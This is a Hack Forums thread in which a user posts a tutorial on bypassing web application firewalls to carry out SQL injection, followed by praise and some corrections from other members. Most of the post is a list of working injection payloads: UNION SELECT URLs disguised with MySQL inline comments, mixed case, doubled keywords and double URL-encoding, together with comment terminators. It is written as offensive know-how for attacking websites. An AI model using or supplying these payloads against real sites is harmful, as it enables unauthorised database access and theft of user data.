

Forum:[Hack Forums](#)

Thread: [\[Tutorial\] Web Application Firewall \[WAF\]](#)

-zERaIT - November 19, 2014, 12:54 pm

Web Application Firewall Bypassing

What is WAF?

A web application firewall (WAF) is an appliance, server plugin, or filter that applies a set of rules to an HTTP conversation. Generally, these rules cover common attacks such as cross-site scripting (XSS) and SQL injection. By customizing the rules to your application, many attacks can be identified and blocked. The effort to perform this customization can be significant and needs to be maintained as the application is modified.

Example:

PHP Code

```
<?php
```

```
www.site.com/index.php?id=1 union all select 1,2,3,4,5--
```

If we do that with a WAF protected website will we get throw out a "403 forbidden" error or the "404 not found" error.

Analyzing WAF

In the example above, we we're blocked from executing our query and therefore not able to retrieve user information.

We'll have to bypass the WAF and in order to do that we'll have to find out what WAF is exactly blocking.

For example:

PHP Code

```
<?php
```

```
www.site.com/index.php?id=1
```

Add a "" at the end in order to see if it's vulnerable for SQL Injection.

PHP Code

```
<?php
```

```
www.site.com/index.php?id=1'
```

Add a "+" at the end in order to see if WAF is blocking spaces. Error means that it does block spaces, no error means that it's allowed.

PHP Code

```
<?php
```

```
www.site.com/index.php?id=1+
```

Add "union" at the end in order to see if WAF blocks the word. Error means that it does block union, no error means that it's allowed.

PHP Code

```
<?php
```

```
www.site.com/index.php?id=1 union
```

Add "union select" at the end in order to see if WAF blocks the words. Error means that it does

block union select, no error means that it's allowed.

PHP Code

```
<?php
```

```
www.site.com/index.php?id=1 union select
```

Just move on till you came to an end of your query, I think you get my point.

How to bypass WAF

Comments used to bypass://

```
--
```

```
/**/
```

```
#
```

```
--+
```

```
-- -
```

```
;%00
```

```
-- a
```

Now for bypassing WAFs, the exploiting is quite similar to an Union Based SQL Injection.

However, you have filters that you have to bypass now, below a few queries the can by bypassed.

NOTE: Depending on how WAF is configured these will work or not.

PHP Code

```
<?php
```

```
www.site.com/index.php?id=1/*!union*/select 1,2,3--
```

Above we're using "/*!" as they are used in MySQL comments.

PHP Code

```
<?php
```

```
www.site.com/index.php?id=1+UnIoN+SeLeCT 1,2,3--
```

Above we're using lower & upper case letters to bypass WAF.

PHP Code

```
<?php
```

```
www.site.com/index.php?id=1+UNIoN+SeLselectECT+1,2,3--
```

Above we're using double text, it seems rather weird. However, if a filter detects "union select" and the filter has "preg_replace" (PHP function) to replace our union select with a space, it'll still show something similar as below.

PHP Code

```
<?php
```

```
UNION SELECT 1,2,3--
```

PHP Code

```
<?php
```

```
www.site.com/index.php?id=1%252f%252a*/UNION%252f%252a /SELECT 1,2,3--
```

Above we're using HTTP encoding and the "%252f" etcetra signs to DOUBLE bypass certain WAFs.

Tips & Tricks

PHP Code

```
<?php
```

```
www.site.com/index.php?id=1+(UnIoN)+(SeLECT)+1,2,3--
```

PHP Code

```
<?php
```

```
www.site.com/index.php?id=1+UnIoN+SeLeCT+1,2,3--
```

PHP Code

```
<?php
```

```
www.site.com/index.php?id=1+%55nion all /*!12345%53elect*/ 1,2,3--
```

PHP Code

```
<?php
```

```
www.site.com/index.php?id=1+UnIoN+SeLecT 1,2,3--
```

PHP Code

```
<?php
```

```
www.site.com/index.php?id=1+UnIoN/**/SeLect 1,2,3--
```

PHP Code

```
<?php
```

```
www.site.com/index.php?id=1+UNlunionON+SELselectECT 1,2,3--
```

PHP Code

```
<?php
```

```
www.site.com/index.php?id=1+/*!UnIoN*/+/*!sElEcT*/ 1,2,3--
```

PHP Code

```
<?php
```

```
www.site.com/index.php?id=1+un/**/ion+sel/**/ect+1,2,3--
```

I hope this tutorial will learn members alot more regarding SQL Injections and how to bypass them properly.

Thanks for viewing my thread.?

iHacker-n00b - November 19, 2014, 12:58 pm

Nice one xD ,

These ones are Wrong :| Code PHP Code:

```
http://site.com/index.php?id=1+(UnIoN+SeLeCT)+1,2,3--
```

PHP Code:

```
http://site.com/index.php?id=1+(UnI)(oN)+(SeL)(EcT) 1,2,3--
```

PHP Code:

`http://site.com/index.php?id=1+'Unl"On'+SeL"ECT' 1,2,3--`

Tirus - November 19, 2014, 8:23 pm

Nice little guide you got here. I can see the Specialist making a name out of themselves. If you need my help with anything, contact me.

-zERaIT - November 20, 2014, 4:34 am

Thanks for the feedback guys, much appreciated.?

01234567890 - November 21, 2014, 12:48 am

(Nov 19, 2014 01:58 PM)iHacker-n00b Wrote: [\[CITE\]](#) Nice one xD ,

These ones are Wrong :| Code PHP Code:

`http://site.com/index.php?id=1+(UnlOn+SeLeCT)+1,2,3--`

PHP Code:

`http://site.com/index.php?id=1+(Unl)(oN)+(SeL)(EcT) 1,2,3--`

PHP Code:

`http://site.com/index.php?id=1+'Unl"On'+SeL"ECT' 1,2,3--`

Why is it so??

Could you please explain me?

iHacker-n00b - November 21, 2014, 12:50 am

(Nov 21, 2014 01:48 AM)01234567890 Wrote: [\[CITE\]](#) Why is it so??

Could you please explain me?In MySQL

1st You cant use parenthesis on union

2nd U can't use parenthesis anywhere you want in the middle

3rd one o.O how could u use union and select keyword in quotes...

01234567890 - November 21, 2014, 12:57 am

(Nov 21, 2014 01:50 AM)iHacker-n00b Wrote: [\[CITE\]](#) In MySQL

1st You cant use parenthesis on union

2nd U can't use parenthesis anywhere you want in the middle

3rd one o.O how could u use union and select keyword in quotes...

Thank you for an instant reply!?

By the way I know the reason for 3rd one!?

Aakash Choudhary - November 29, 2014, 12:06 am

Very nice tutorial mate.

You are doing great job ?